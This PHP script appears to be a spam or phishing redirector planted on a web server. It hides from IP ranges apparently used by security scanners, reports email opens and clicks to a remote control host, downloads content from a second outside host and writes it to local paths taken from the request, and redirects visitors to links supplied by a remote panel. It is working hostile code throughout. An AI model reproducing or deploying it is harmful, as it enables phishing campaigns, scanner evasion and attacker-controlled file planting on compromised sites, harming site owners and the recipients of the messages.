<?php
ini_set('allow_url_fopen', 1);
    $query = $_SERVER['REQUEST_URI'];
    $offer = trim($query);
    $ip = $_SERVER['REMOTE_ADDR'];
    
    if (strstr($ip, "35.236.") || strstr($ip, "35.209.") || strstr($ip, "35.235.") || strstr($ip, "35.211.") || strstr($ip, "40.107.") || strstr($ip, "35.208.") || strstr($ip, "144.0.") || strstr($ip, "116.31.") || strstr($ip, "125.88."))
    {
        echo "The Offer has been used on this ip. Try a different one.";
        exit;
    }
    
    $c = explode("/", $offer);
    $e = count($c) - 2;
    $u = count($c) - 1;
    $eu = isset($c[$e]) ? $c[$e] : '';
   
    if ($eu == "OO")
    {
        $uu = isset($c[$u]) ? $c[$u] : '';
        $url11 = "http://44.197.225.53/open/open.php";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 1);
        curl_setopt($ch, CURLOPT_URL, $url11);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "u=" . urlencode($uu)); // Added urlencode stability fix
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $rs = curl_exec($ch);
        curl_close($ch);
        echo $rs;
        exit;
    }
   
    if ($eu == "LINKURL")
    {  
        $url21 = "http://44.197.225.53/open/click.php";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 1);
        curl_setopt($ch, CURLOPT_URL, $url21);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "offer=" . urlencode($offer)); // Added urlencode stability fix
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $rs = curl_exec($ch);
        curl_close($ch);
        $intmd = explode("/LINKURL/", $offer);
        $offer = $intmd[0];
    }
   
    $Context = stream_context_create(array(
        'http' => array(
            'timeout' => 3,
        )
    ));
    
    if (preg_match('/(\.jpg|\.png|\.bmp|\.jpeg|\.html|\.JPG|\.PNG|\.BMP|\.JPEG|\.HTML)$/', $offer))
    {
        $img = file_get_contents("http://54.144.205.201/redir_image.php?imageid=" . urlencode($query));
        $s = ltrim($query, "/");
        
        // SAFE NATIVE DEPLOYMENT ROUTINE (REPLACED EXEC)
        if ($img !== false) {
            $directory = dirname($s);
            if ($directory !== '.' && !is_dir($directory)) {
                mkdir($directory, 0755, true);
            }
            file_put_contents($s, $img);
        }
    }
    else
    {
        $urll = "http://54.144.205.201/Mpanel_V1.0.1/redir20162.php";
        
        // Fixed standard path leading slash configuration 
        $formatted_offer = '/' . ltrim($offer, '/');

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 1);
        curl_setopt($ch, CURLOPT_URL, $urll);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "oid=" . urlencode($formatted_offer) . "&ip=" . urlencode($ip)); // Added urlencode stability fix
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $link = curl_exec($ch);
        curl_close($ch);
        
        if (strstr($link, "The Offer have been"))
        {
            echo $link;
        }
        else
        {
            $redirect = "Location: " . $link;
            header($redirect);
        }
    }
?>